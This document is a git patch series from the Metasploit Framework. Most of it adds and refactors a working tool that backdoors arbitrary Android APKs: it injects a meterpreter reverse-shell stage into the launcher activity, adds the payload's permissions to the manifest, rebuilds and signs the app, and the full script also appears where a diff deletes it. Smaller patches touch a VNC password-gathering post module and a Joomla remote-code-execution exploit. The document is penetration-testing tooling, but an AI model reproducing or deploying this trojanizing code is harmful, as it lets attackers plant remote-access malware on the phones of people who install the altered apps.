jarsigner != nil + $stderr.puts "[-] jarsigner not found. If it's not in your PATH, please add it.\n" + exit(1) + end + + apktool = run_cmd("apktool -version") + unless apktool != nil + $stderr.puts "[-] apktool not found. If it's not in your PATH, please add it.\n" + exit(1) + end + + apk_v = Gem::Version.new(apktool) + unless apk_v >= Gem::Version.new('2.0.1') + $stderr.puts "[-] apktool version #{apk_v} not supported, please download at least version 2.0.1.\n" + exit(1) + end + + #Create temporary directory where work will be done + tempdir = Dir.mktmpdir + + File.open("#{tempdir}/payload.apk", "wb") {|file| file.puts raw_payload } + FileUtils.cp apkfile, "#{tempdir}/original.apk" + + print "[*] Decompiling original APK..\n" + run_cmd("apktool d #{tempdir}/original.apk -o #{tempdir}/original") + print "[*] Decompiling payload APK..\n" + run_cmd("apktool d #{tempdir}/payload.apk -o #{tempdir}/payload") + + f = File.open("#{tempdir}/original/AndroidManifest.xml") + amanifest = Nokogiri::XML(f) + f.close + + print "[*] Locating onCreate() hook..\n" + + launcheractivity = find_launcher_activity(amanifest) + smalifile = "#{tempdir}/original/smali/" + launcheractivity.gsub(/\./, "/") + ".smali" + begin + activitysmali = File.read(smalifile) + rescue Errno::ENOENT + print "[!] Unable to find correct hook automatically\n" + begin + results=scrape_files_for_launcher_activity(tempdir) + smalifile=results[0] + activitysmali=results[1] + rescue + $stderr.puts "[-] Error finding launcher activity. Exiting" + exit(1) + end + end + + print "[*] Copying payload files..\n" + FileUtils.mkdir_p("#{tempdir}/original/smali/com/metasploit/stage/") + FileUtils.cp Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/Payload*.smali"), "#{tempdir}/original/smali/com/metasploit/stage/" + activitycreate = ';->onCreate(Landroid/os/Bundle;)V' + payloadhook = activitycreate + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V" + hookedsmali = activitysmali.gsub(activitycreate, payloadhook) + print "[*] Loading ",smalifile," and injecting payload..\n" + File.open(smalifile, "wb") {|file| file.puts hookedsmali } + injected_apk = apkfile.sub('.apk', '_backdoored.apk') + + print "[*] Poisoning the manifest with meterpreter permissions..\n" + fix_manifest(tempdir) + + print "[*] Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n" + run_cmd("apktool b -o #{injected_apk} #{tempdir}/original") + print "[*] Signing #{injected_apk}\n" + run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey") + + FileUtils.remove_entry tempdir + + puts "[+] Infected file #{injected_apk} ready.\n" end -print "[*] Copying payload files..\n" -FileUtils.mkdir_p("#{tempdir}/original/smali/com/metasploit/stage/") -FileUtils.cp Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/Payload*.smali"), "#{tempdir}/original/smali/com/metasploit/stage/" -activitycreate = ';->onCreate(Landroid/os/Bundle;)V' -payloadhook = activitycreate + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V" -hookedsmali = activitysmali.gsub(activitycreate, payloadhook) -print "[*] Loading ",smalifile," and injecting payload..\n" -File.open(smalifile, "wb") {|file| file.puts hookedsmali } -injected_apk = apkfile.sub('.apk', '_backdoored.apk') +if __FILE__ == $0 + begin + msfvenom_opts = ARGV[1,ARGV.length] + opts="" + msfvenom_opts.each{|x| + opts+=x + opts+=" " + } + rescue + $stderr.puts "[-] Error parsing msfvenom options. Exiting.\n" + usage + exit(1) + end -print "[*] Poisoning the manifest with meterpreter permissions..\n" -fix_manifest(tempdir) + print "[*] Generating msfvenom payload..\n" + msfvenom_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "..", "msfvenom")) + msfvenom_command = "#{msfvenom_path} -f raw #{opts}" + begin + stdin, stdout, stderr = Open3.popen3(msfvenom_command) + payload = stdout.read + msfvenom_output = stderr.read + backdoor_payload(ARGV[0], payload) + rescue Errno::ENOENT + $stderr.puts msfvenom_output + exit(1) + end -print "[*] Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n" -run_cmd("apktool b -o #{injected_apk} #{tempdir}/original") -print "[*] Signing #{injected_apk}\n" -run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey") - -FileUtils.remove_entry tempdir - -puts "[+] Infected file #{injected_apk} ready.\n" +end From 662a6dfd53f0c3d72dbec3b21cee0e1211ff2d8a Mon Sep 17 00:00:00 2001 From: Tim Date: Tue, 22 Dec 2015 14:47:55 +0000 Subject: [PATCH 1679/2172] =?UTF-8?q?=C2=AF\=5F(=E3=83=84)=5F/=C2=AF?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- lib/msf/core/payload/apk.rb | 225 ++++++++++++++++++++++++++++++ lib/msf/core/payload_generator.rb | 2 + 2 files changed, 227 insertions(+) create mode 100644 lib/msf/core/payload/apk.rb diff --git a/lib/msf/core/payload/apk.rb b/lib/msf/core/payload/apk.rb new file mode 100644 index 0000000000..bdfdb4421d --- /dev/null +++ b/lib/msf/core/payload/apk.rb @@ -0,0 +1,225 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'tmpdir' +require 'nokogiri' +require 'fileutils' +require 'optparse' +require 'open3' + +module Msf::Payload::Apk + + def usage + print_error "Usage: #{$0} [target.apk] [msfvenom options]\n" + print_error "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n" + end + + def run_cmd(cmd) + begin + stdin, stdout, stderr = Open3.popen3(cmd) + return stdout.read + stderr.read + rescue Errno::ENOENT + return nil + end + end + + # Find the activity that is opened when you click the app icon + def find_launcher_activity(amanifest) + package = amanifest.xpath("//manifest").first['package'] + activities = amanifest.xpath("//activity|//activity-alias") + for activity in activities + activityname = activity.attribute("name") + category = activity.search('category') + unless category + next + end + for cat in category + categoryname = cat.attribute('name') + if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN') + activityname = activityname.to_s + unless activityname.start_with?(package) + activityname = package + activityname + end + return activityname + end + end + end + end + + # If XML parsing of the manifest fails, recursively search + # the smali code for the onCreate() hook and let the user + # pick the injection point + + def scrape_files_for_launcher_activity(tempdir) + smali_files||=[] + Dir.glob("#{tempdir}/original/smali*/**/*.smali") do |file| + checkFile=File.read(file) + if (checkFile.include?";->onCreate(Landroid/os/Bundle;)V") + smali_files << file + smalifile = file + activitysmali = checkFile + end + end + i=0 + print_status "[*] Please choose from one of the following:\n" + smali_files.each{|s_file| + print_status "[+] Hook point ",i,": ",s_file,"\n" + i+=1 + } + hook=-1 + while (hook < 0 || hook>i) + print_status "\nHook: " + hook = STDIN.gets.chomp.to_i + end + i=0 + smalifile="" + activitysmali="" + smali_files.each{|s_file| + if (i==hook) + checkFile=File.read(s_file) + smalifile=s_file + activitysmali = checkFile + break + end + i+=1 + } + return [smalifile,activitysmali] + end + + def fix_manifest(tempdir) + payload_permissions=[] + + #Load payload's permissions + File.open("#{tempdir}/payload/AndroidManifest.xml","rb"){|file| + k=File.read(file) + payload_manifest=Nokogiri::XML(k) + permissions = payload_manifest.xpath("//manifest/uses-permission") + for permission in permissions + name=permission.attribute("name") + payload_permissions << name.to_s + end + } + + original_permissions=[] + apk_mani="" + + #Load original apk's permissions + File.open("#{tempdir}/original/AndroidManifest.xml","rb"){|file2| + k=File.read(file2) + apk_mani=k + original_manifest=Nokogiri::XML(k) + permissions = original_manifest.xpath("//manifest/uses-permission") + for permission in permissions + name=permission.attribute("name") + original_permissions << name.to_s + end + } + + #Get permissions that are not in original APK + add_permissions=[] + for permission in payload_permissions + if !(original_permissions.include? permission) + print_status "[*] Adding #{permission}\n" + add_permissions << permission + end + end + + inject=0 + new_mani="" + #Inject permissions in original APK's manifest + for line in apk_mani.split("\n") + if (line.include? "uses-permission" and inject==0) + for permission in add_permissions + new_mani << ''+"\n" + end + new_mani << line+"\n" + inject=1 + else + new_mani << line+"\n" + end + end + File.open("#{tempdir}/original/AndroidManifest.xml", "wb") {|file| file.puts new_mani } + end + + def backdoor_payload(apkfile, raw_payload) + unless apkfile && File.readable?(apkfile) + usage + exit(1) + end + + jarsigner = run_cmd("jarsigner") + unless jarsigner != nil + print_error "[-] jarsigner not found. If it's not in your PATH, please add it.\n" + exit(1) + end + + apktool = run_cmd("apktool -version") + unless apktool != nil + print_error "[-] apktool not found. If it's not in your PATH, please add it.\n" + exit(1) + end + + apk_v = Gem::Version.new(apktool) + unless apk_v >= Gem::Version.new('2.0.1') + print_error "[-] apktool version #{apk_v} not supported, please download at least version 2.0.1.\n" + exit(1) + end + + #Create temporary directory where work will be done + tempdir = Dir.mktmpdir + + File.open("#{tempdir}/payload.apk", "wb") {|file| file.puts raw_payload } + FileUtils.cp apkfile, "#{tempdir}/original.apk" + + print_status "[*] Decompiling original APK..\n" + run_cmd("apktool d #{tempdir}/original.apk -o #{tempdir}/original") + print_status "[*] Decompiling payload APK..\n" + run_cmd("apktool d #{tempdir}/payload.apk -o #{tempdir}/payload") + + f = File.open("#{tempdir}/original/AndroidManifest.xml") + amanifest = Nokogiri::XML(f) + f.close + + print_status "[*] Locating onCreate() hook..\n" + + launcheractivity = find_launcher_activity(amanifest) + smalifile = "#{tempdir}/original/smali/" + launcheractivity.gsub(/\./, "/") + ".smali" + begin + activitysmali = File.read(smalifile) + rescue Errno::ENOENT + print_status "[!] Unable to find correct hook automatically\n" + begin + results=scrape_files_for_launcher_activity(tempdir) + smalifile=results[0] + activitysmali=results[1] + rescue + print_error "[-] Error finding launcher activity. Exiting" + exit(1) + end + end + + print_status "[*] Copying payload files..\n" + FileUtils.mkdir_p("#{tempdir}/original/smali/com/metasploit/stage/") + FileUtils.cp Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/Payload*.smali"), "#{tempdir}/original/smali/com/metasploit/stage/" + activitycreate = ';->onCreate(Landroid/os/Bundle;)V' + payloadhook = activitycreate + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V" + hookedsmali = activitysmali.gsub(activitycreate, payloadhook) + print_status "[*] Loading ",smalifile," and injecting payload..\n" + File.open(smalifile, "wb") {|file| file.puts hookedsmali } + injected_apk = apkfile.sub('.apk', '_backdoored.apk') + + print_status "[*] Poisoning the manifest with meterpreter permissions..\n" + fix_manifest(tempdir) + + print_status "[*] Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n" + run_cmd("apktool b -o #{injected_apk} #{tempdir}/original") + print_status "[*] Signing #{injected_apk}\n" + run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey") + + FileUtils.remove_entry tempdir + + puts "[+] Infected file #{injected_apk} ready.\n" + end +end + + diff --git a/lib/msf/core/payload_generator.rb b/lib/msf/core/payload_generator.rb index 3a209a41dc..b051bbc97e 100644 --- a/lib/msf/core/payload_generator.rb +++ b/lib/msf/core/payload_generator.rb @@ -1,4 +1,5 @@ # -*- coding: binary -*- +require 'msf/core/payload/apk' require 'active_support/core_ext/numeric/bytes' module Msf @@ -310,6 +311,7 @@ module Msf raw_payload elsif payload.start_with? "android/" cli_print "Using template: #{template}" + raw_payload = generate_raw_payload cli_print "Payload size: #{raw_payload.length} bytes" raw_payload From eeea4bde9d68256b092e643caa3ed83538495ff3 Mon Sep 17 00:00:00 2001 From: Tim Date: Tue, 22 Dec 2015 15:58:27 +0000 Subject: [PATCH 1680/2172] integrate ./msfvenom -x for android payloads --- lib/msf/core/payload/apk.rb | 98 ++++-------- lib/msf/core/payload_generator.rb | 6 +- tools/exploit/apk_backdoor.rb | 255 ------------------------------ 3 files changed, 36 insertions(+), 323 deletions(-) delete mode 100755 tools/exploit/apk_backdoor.rb diff --git a/lib/msf/core/payload/apk.rb b/lib/msf/core/payload/apk.rb index bdfdb4421d..107d70d5b7 100644 --- a/lib/msf/core/payload/apk.rb +++ b/lib/msf/core/payload/apk.rb @@ -1,6 +1,7 @@ # -*- coding: binary -*- require 'msf/core' +require 'rex/text' require 'tmpdir' require 'nokogiri' require 'fileutils' @@ -9,6 +10,21 @@ require 'open3' module Msf::Payload::Apk + class ApkBackdoor + include Msf::Payload::Apk + def backdoor_apk(apk, payload) + backdoor_payload(apk, payload) + end + end + + def print_status(msg='') + $stderr.puts "[*] #{msg}" + end + + def print_error(msf='') + $stderr.puts "[-] #{msg}" + end + def usage print_error "Usage: #{$0} [target.apk] [msfvenom options]\n" print_error "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n" @@ -46,46 +62,6 @@ module Msf::Payload::Apk end end - # If XML parsing of the manifest fails, recursively search - # the smali code for the onCreate() hook and let the user - # pick the injection point - - def scrape_files_for_launcher_activity(tempdir) - smali_files||=[] - Dir.glob("#{tempdir}/original/smali*/**/*.smali") do |file| - checkFile=File.read(file) - if (checkFile.include?";->onCreate(Landroid/os/Bundle;)V") - smali_files << file - smalifile = file - activitysmali = checkFile - end - end - i=0 - print_status "[*] Please choose from one of the following:\n" - smali_files.each{|s_file| - print_status "[+] Hook point ",i,": ",s_file,"\n" - i+=1 - } - hook=-1 - while (hook < 0 || hook>i) - print_status "\nHook: " - hook = STDIN.gets.chomp.to_i - end - i=0 - smalifile="" - activitysmali="" - smali_files.each{|s_file| - if (i==hook) - checkFile=File.read(s_file) - smalifile=s_file - activitysmali = checkFile - break - end - i+=1 - } - return [smalifile,activitysmali] - end - def fix_manifest(tempdir) payload_permissions=[] @@ -119,7 +95,7 @@ module Msf::Payload::Apk add_permissions=[] for permission in payload_permissions if !(original_permissions.include? permission) - print_status "[*] Adding #{permission}\n" + print_status("Adding #{permission}") add_permissions << permission end end @@ -149,19 +125,19 @@ module Msf::Payload::Apk jarsigner = run_cmd("jarsigner") unless jarsigner != nil - print_error "[-] jarsigner not found. If it's not in your PATH, please add it.\n" + print_error("jarsigner not found. If it's not in your PATH, please add it.") exit(1) end apktool = run_cmd("apktool -version") unless apktool != nil - print_error "[-] apktool not found. If it's not in your PATH, please add it.\n" + print_error "apktool not found. If it's not in your PATH, please add it." exit(1) end apk_v = Gem::Version.new(apktool) unless apk_v >= Gem::Version.new('2.0.1') - print_error "[-] apktool version #{apk_v} not supported, please download at least version 2.0.1.\n" + print_error "apktool version #{apk_v} not supported, please download at least version 2.0.1." exit(1) end @@ -171,54 +147,46 @@ module Msf::Payload::Apk File.open("#{tempdir}/payload.apk", "wb") {|file| file.puts raw_payload } FileUtils.cp apkfile, "#{tempdir}/original.apk" - print_status "[*] Decompiling original APK..\n" + print_status "Decompiling original APK..\n" run_cmd("apktool d #{tempdir}/original.apk -o #{tempdir}/original") - print_status "[*] Decompiling payload APK..\n" + print_status "Decompiling payload APK..\n" run_cmd("apktool d #{tempdir}/payload.apk -o #{tempdir}/payload") f = File.open("#{tempdir}/original/AndroidManifest.xml") amanifest = Nokogiri::XML(f) f.close - print_status "[*] Locating onCreate() hook..\n" + print_status "Locating onCreate() hook..\n" launcheractivity = find_launcher_activity(amanifest) smalifile = "#{tempdir}/original/smali/" + launcheractivity.gsub(/\./, "/") + ".smali" begin activitysmali = File.read(smalifile) rescue Errno::ENOENT - print_status "[!] Unable to find correct hook automatically\n" - begin - results=scrape_files_for_launcher_activity(tempdir) - smalifile=results[0] - activitysmali=results[1] - rescue - print_error "[-] Error finding launcher activity. Exiting" - exit(1) - end + print_status "Unable to find correct hook automatically\n" + exit end - print_status "[*] Copying payload files..\n" + print_status "Copying payload files..\n" FileUtils.mkdir_p("#{tempdir}/original/smali/com/metasploit/stage/") FileUtils.cp Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/Payload*.smali"), "#{tempdir}/original/smali/com/metasploit/stage/" activitycreate = ';->onCreate(Landroid/os/Bundle;)V' payloadhook = activitycreate + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V" hookedsmali = activitysmali.gsub(activitycreate, payloadhook) - print_status "[*] Loading ",smalifile," and injecting payload..\n" + print_status "Loading #{smalifile} and injecting payload..\n" File.open(smalifile, "wb") {|file| file.puts hookedsmali } - injected_apk = apkfile.sub('.apk', '_backdoored.apk') - - print_status "[*] Poisoning the manifest with meterpreter permissions..\n" + injected_apk = "#{tempdir}/output.apk" + print_status "Poisoning the manifest with meterpreter permissions..\n" fix_manifest(tempdir) - print_status "[*] Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n" + print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n" run_cmd("apktool b -o #{injected_apk} #{tempdir}/original") - print_status "[*] Signing #{injected_apk}\n" + print_status "Signing #{injected_apk}\n" run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey") + outputapk = File.read(injected_apk) + rescue FileUtils.remove_entry tempdir - - puts "[+] Infected file #{injected_apk} ready.\n" end end diff --git a/lib/msf/core/payload_generator.rb b/lib/msf/core/payload_generator.rb index b051bbc97e..11434d52e4 100644 --- a/lib/msf/core/payload_generator.rb +++ b/lib/msf/core/payload_generator.rb @@ -310,9 +310,9 @@ module Msf cli_print "Payload size: #{raw_payload.length} bytes" raw_payload elsif payload.start_with? "android/" - cli_print "Using template: #{template}" - - raw_payload = generate_raw_payload + cli_print "Using APK template: #{template}" + apk_backdoor = ::Msf::Payload::Apk::ApkBackdoor::new() + raw_payload = apk_backdoor.backdoor_apk(template, generate_raw_payload) cli_print "Payload size: #{raw_payload.length} bytes" raw_payload else diff --git a/tools/exploit/apk_backdoor.rb b/tools/exploit/apk_backdoor.rb deleted file mode 100755 index fd6e2ca56d..0000000000 --- a/tools/exploit/apk_backdoor.rb +++ /dev/null @@ -1,255 +0,0 @@ -#!/usr/bin/env ruby -# -# This script is a POC for injecting metasploit payloads on -# arbitrary APKs. -# Authored by timwr, Jack64 -# - -require 'tmpdir' -require 'nokogiri' -require 'fileutils' -require 'optparse' -require 'open3' - -def usage - $stderr.puts "Usage: #{$0} [target.apk] [msfvenom options]\n" - $stderr.puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n" -end - -def run_cmd(cmd) - begin - stdin, stdout, stderr = Open3.popen3(cmd) - return stdout.read + stderr.read - rescue Errno::ENOENT - return nil - end -end - - -# Find the activity that is opened when you click the app icon -def find_launcher_activity(amanifest) - package = amanifest.xpath("//manifest").first['package'] - activities = amanifest.xpath("//activity|//activity-alias") - for activity in activities - activityname = activity.attribute("name") - category = activity.search('category') - unless category - next - end - for cat in category - categoryname = cat.attribute('name') - if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN') - activityname = activityname.to_s - unless activityname.start_with?(package) - activityname = package + activityname - end - return activityname - end - end - end -end - -# If XML parsing of the manifest fails, recursively search -# the smali code for the onCreate() hook and let the user -# pick the injection point - -def scrape_files_for_launcher_activity(tempdir) - smali_files||=[] - Dir.glob("#{tempdir}/original/smali*/**/*.smali") do |file| - checkFile=File.read(file) - if (checkFile.include?";->onCreate(Landroid/os/Bundle;)V") - smali_files << file - smalifile = file - activitysmali = checkFile - end - end - i=0 - print "[*] Please choose from one of the following:\n" - smali_files.each{|s_file| - print "[+] Hook point ",i,": ",s_file,"\n" - i+=1 - } - hook=-1 - while (hook < 0 || hook>i) - print "\nHook: " - hook = STDIN.gets.chomp.to_i - end - i=0 - smalifile="" - activitysmali="" - smali_files.each{|s_file| - if (i==hook) - checkFile=File.read(s_file) - smalifile=s_file - activitysmali = checkFile - break - end - i+=1 - } - return [smalifile,activitysmali] -end - -def fix_manifest(tempdir) - payload_permissions=[] - - #Load payload's permissions - File.open("#{tempdir}/payload/AndroidManifest.xml","rb"){|file| - k=File.read(file) - payload_manifest=Nokogiri::XML(k) - permissions = payload_manifest.xpath("//manifest/uses-permission") - for permission in permissions - name=permission.attribute("name") - payload_permissions << name.to_s - end - } - - original_permissions=[] - apk_mani="" - - #Load original apk's permissions - File.open("#{tempdir}/original/AndroidManifest.xml","rb"){|file2| - k=File.read(file2) - apk_mani=k - original_manifest=Nokogiri::XML(k) - permissions = original_manifest.xpath("//manifest/uses-permission") - for permission in permissions - name=permission.attribute("name") - original_permissions << name.to_s - end - } - - #Get permissions that are not in original APK - add_permissions=[] - for permission in payload_permissions - if !(original_permissions.include? permission) - print "[*] Adding #{permission}\n" - add_permissions << permission - end - end - - inject=0 - new_mani="" - #Inject permissions in original APK's manifest - for line in apk_mani.split("\n") - if (line.include? "uses-permission" and inject==0) - for permission in add_permissions - new_mani << ''+"\n" - end - new_mani << line+"\n" - inject=1 - else - new_mani << line+"\n" - end - end - File.open("#{tempdir}/original/AndroidManifest.xml", "wb") {|file| file.puts new_mani } -end - -def backdoor_payload(apkfile, raw_payload) - unless apkfile && File.readable?(apkfile) - usage - exit(1) - end - - jarsigner = run_cmd("jarsigner") - unless jarsigner != nil - $stderr.puts "[-] jarsigner not found. If it's not in your PATH, please add it.\n" - exit(1) - end - - apktool = run_cmd("apktool -version") - unless apktool != nil - $stderr.puts "[-] apktool not found. If it's not in your PATH, please add it.\n" - exit(1) - end - - apk_v = Gem::Version.new(apktool) - unless apk_v >= Gem::Version.new('2.0.1') - $stderr.puts "[-] apktool version #{apk_v} not supported, please download at least version 2.0.1.\n" - exit(1) - end - - #Create temporary directory where work will be done - tempdir = Dir.mktmpdir - - File.open("#{tempdir}/payload.apk", "wb") {|file| file.puts raw_payload } - FileUtils.cp apkfile, "#{tempdir}/original.apk" - - print "[*] Decompiling original APK..\n" - run_cmd("apktool d #{tempdir}/original.apk -o #{tempdir}/original") - print "[*] Decompiling payload APK..\n" - run_cmd("apktool d #{tempdir}/payload.apk -o #{tempdir}/payload") - - f = File.open("#{tempdir}/original/AndroidManifest.xml") - amanifest = Nokogiri::XML(f) - f.close - - print "[*] Locating onCreate() hook..\n" - - launcheractivity = find_launcher_activity(amanifest) - smalifile = "#{tempdir}/original/smali/" + launcheractivity.gsub(/\./, "/") + ".smali" - begin - activitysmali = File.read(smalifile) - rescue Errno::ENOENT - print "[!] Unable to find correct hook automatically\n" - begin - results=scrape_files_for_launcher_activity(tempdir) - smalifile=results[0] - activitysmali=results[1] - rescue - $stderr.puts "[-] Error finding launcher activity. Exiting" - exit(1) - end - end - - print "[*] Copying payload files..\n" - FileUtils.mkdir_p("#{tempdir}/original/smali/com/metasploit/stage/") - FileUtils.cp Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/Payload*.smali"), "#{tempdir}/original/smali/com/metasploit/stage/" - activitycreate = ';->onCreate(Landroid/os/Bundle;)V' - payloadhook = activitycreate + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V" - hookedsmali = activitysmali.gsub(activitycreate, payloadhook) - print "[*] Loading ",smalifile," and injecting payload..\n" - File.open(smalifile, "wb") {|file| file.puts hookedsmali } - injected_apk = apkfile.sub('.apk', '_backdoored.apk') - - print "[*] Poisoning the manifest with meterpreter permissions..\n" - fix_manifest(tempdir) - - print "[*] Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n" - run_cmd("apktool b -o #{injected_apk} #{tempdir}/original") - print "[*] Signing #{injected_apk}\n" - run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey") - - FileUtils.remove_entry tempdir - - puts "[+] Infected file #{injected_apk} ready.\n" -end - -if __FILE__ == $0 - begin - msfvenom_opts = ARGV[1,ARGV.length] - opts="" - msfvenom_opts.each{|x| - opts+=x - opts+=" " - } - rescue - $stderr.puts "[-] Error parsing msfvenom options. Exiting.\n" - usage - exit(1) - end - - print "[*] Generating msfvenom payload..\n" - msfvenom_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "..", "msfvenom")) - msfvenom_command = "#{msfvenom_path} -f raw #{opts}" - begin - stdin, stdout, stderr = Open3.popen3(msfvenom_command) - payload = stdout.read - msfvenom_output = stderr.read - backdoor_payload(ARGV[0], payload) - rescue Errno::ENOENT - $stderr.puts msfvenom_output - exit(1) - end - -end - From d2a9aa18d89b1be5055f0597aad96913e3d3f327 Mon Sep 17 00:00:00 2001 From: Tim Date: Tue, 22 Dec 2015 16:06:01 +0000 Subject: [PATCH 1681/2172] fix sillyness --- lib/msf/core/payload_generator.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/payload_generator.rb b/lib/msf/core/payload_generator.rb index 11434d52e4..74ee6b6c4e 100644 --- a/lib/msf/core/payload_generator.rb +++ b/lib/msf/core/payload_generator.rb @@ -309,7 +309,7 @@ module Msf raw_payload = generate_java_payload cli_print "Payload size: #{raw_payload.length} bytes" raw_payload - elsif payload.start_with? "android/" + elsif payload.start_with? "android/" and not template.blank? cli_print "Using APK template: #{template}" apk_backdoor = ::Msf::Payload::Apk::ApkBackdoor::new() raw_payload = apk_backdoor.backdoor_apk(template, generate_raw_payload) From 2f717304848c7b32eff0c9c948d7383fdededd64 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Tue, 22 Dec 2015 17:30:37 +0000 Subject: [PATCH 1682/2172] Gather VNC null byte fix + formatting --- modules/post/windows/gather/credentials/vnc.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/post/windows/gather/credentials/vnc.rb b/modules/post/windows/gather/credentials/vnc.rb index e3fb9f9057..e3d114689a 100644 --- a/modules/post/windows/gather/credentials/vnc.rb +++ b/modules/post/windows/gather/credentials/vnc.rb @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Post # 5A B2 CD C0 BA DC AF 13 fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07" pass = Rex::Proto::RFB::Cipher.decrypt ["#{hash}"].pack('H*'), fixedkey - return pass + return pass.gsub!(/\0/, '') end # Pull encrypted passwords from file based storage @@ -200,7 +200,7 @@ class Metasploit3 < Msf::Post print_status("Enumerating VNC passwords on #{sysinfo['Computer']}") locations.map { |e| - print_status("Checking #{e[:name]}...") + vprint_status("Checking #{e[:name]}...") if e.has_key?(:check_reg) e[:port] = reg_get(e[:check_reg],e[:port_variable]) e[:hash] = reg_get(e[:check_reg],e[:pass_variable]) @@ -223,7 +223,7 @@ class Metasploit3 < Msf::Post if e[:port] == nil e[:port] = 5900 end - print_good("#{e[:name]} => #{e[:hash]} => #{e[:pass]} on port: #{e[:port]}") + print_good("Location: #{e[:name]} => Hash: #{e[:hash]} => Password: #{e[:pass]} => Port: #{e[:port]}") service_data = { address: ::Rex::Socket.getaddress(session.sock.peerhost, true), From f6eaff5d96c5c7d67f0a5cdb96dd2eadbf153ec2 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Tue, 22 Dec 2015 21:36:42 +0100 Subject: [PATCH 1683/2172] use the new and shiny joomla mixin --- lib/rex/text.rb | 12 ++++++ .../multi/http/joomla_http_header_rce.rb | 38 +++++++------------ 2 files changed, 25 insertions(+), 25 deletions(-) diff --git a/lib/rex/text.rb b/lib/rex/text.rb index 770f94d37f..6a51acefbf 100644 --- a/lib/rex/text.rb +++ b/lib/rex/text.rb @@ -1477,6 +1477,18 @@ EOS "{#{parts.join('-')}}" end + # + # Generate a valid random 4 byte UTF-8 character + # valid codepoints for 4byte UTF-8 chars: U+010000 - U+10FFFF + # + # @example + # Rex::Text.rand_4byte_utf8 # => "\u{108CF3}" + # + # @return [String] + def self.rand_4byte_utf8 + [rand(0x10000..0x10ffff)].pack('U*') + end + # # Creates a pattern that can be used for offset calculation purposes. This # routine is capable of generating patterns using a supplied set and a diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 9e8878a1ac..66ac8c9b4e 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Joomla def initialize(info = {}) super(update_info(info, @@ -49,7 +49,6 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptString.new('TARGETURI', [ true, 'The path to joomla', '/' ]), OptEnum.new('HEADER', [ true, 'The header to use for exploitation', 'USER-AGENT', [ 'USER-AGENT', 'X-FORWARDED-FOR' ]]) ], self.class) @@ -72,6 +71,12 @@ class Metasploit3 < Msf::Exploit::Remote return Exploit::CheckCode::Unknown end + online = joomla_and_online? + unless online + vprint_error("Unable to detect joomla on #{target_uri.path}") + return Exploit::CheckCode::Safe + end + php_version, rest = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)(?:-(.+))?/i).flatten || '' version = Gem::Version.new(php_version) vulnerable = false @@ -120,40 +125,23 @@ class Metasploit3 < Msf::Exploit::Remote return Exploit::CheckCode::Safe end - res = send_request_cgi({'uri' => normalize_uri(target_uri.path, 'administrator', 'manifests', 'files', 'joomla.xml') }) - if res && res.code == 200 && res.body && res.body.include?('Joomla! Project') - joomla_version = res.body.scan(/([\d\.]+)<\/version>/i).flatten.first || '' - unless joomla_version.empty? - vprint_status("Detected Joomla version #{joomla_version}") - return Exploit::CheckCode::Appears if Gem::Version.new(joomla_version) < Gem::Version.new('3.4.6') - end + j_version = joomla_version + unless j_version.nil? + vprint_status("Detected Joomla version #{j_version}") + return Exploit::CheckCode::Appears if Gem::Version.new(j_version) < Gem::Version.new('3.4.6') end - res.get_html_meta_elements.each do |element| - if element.attributes['name'] && - 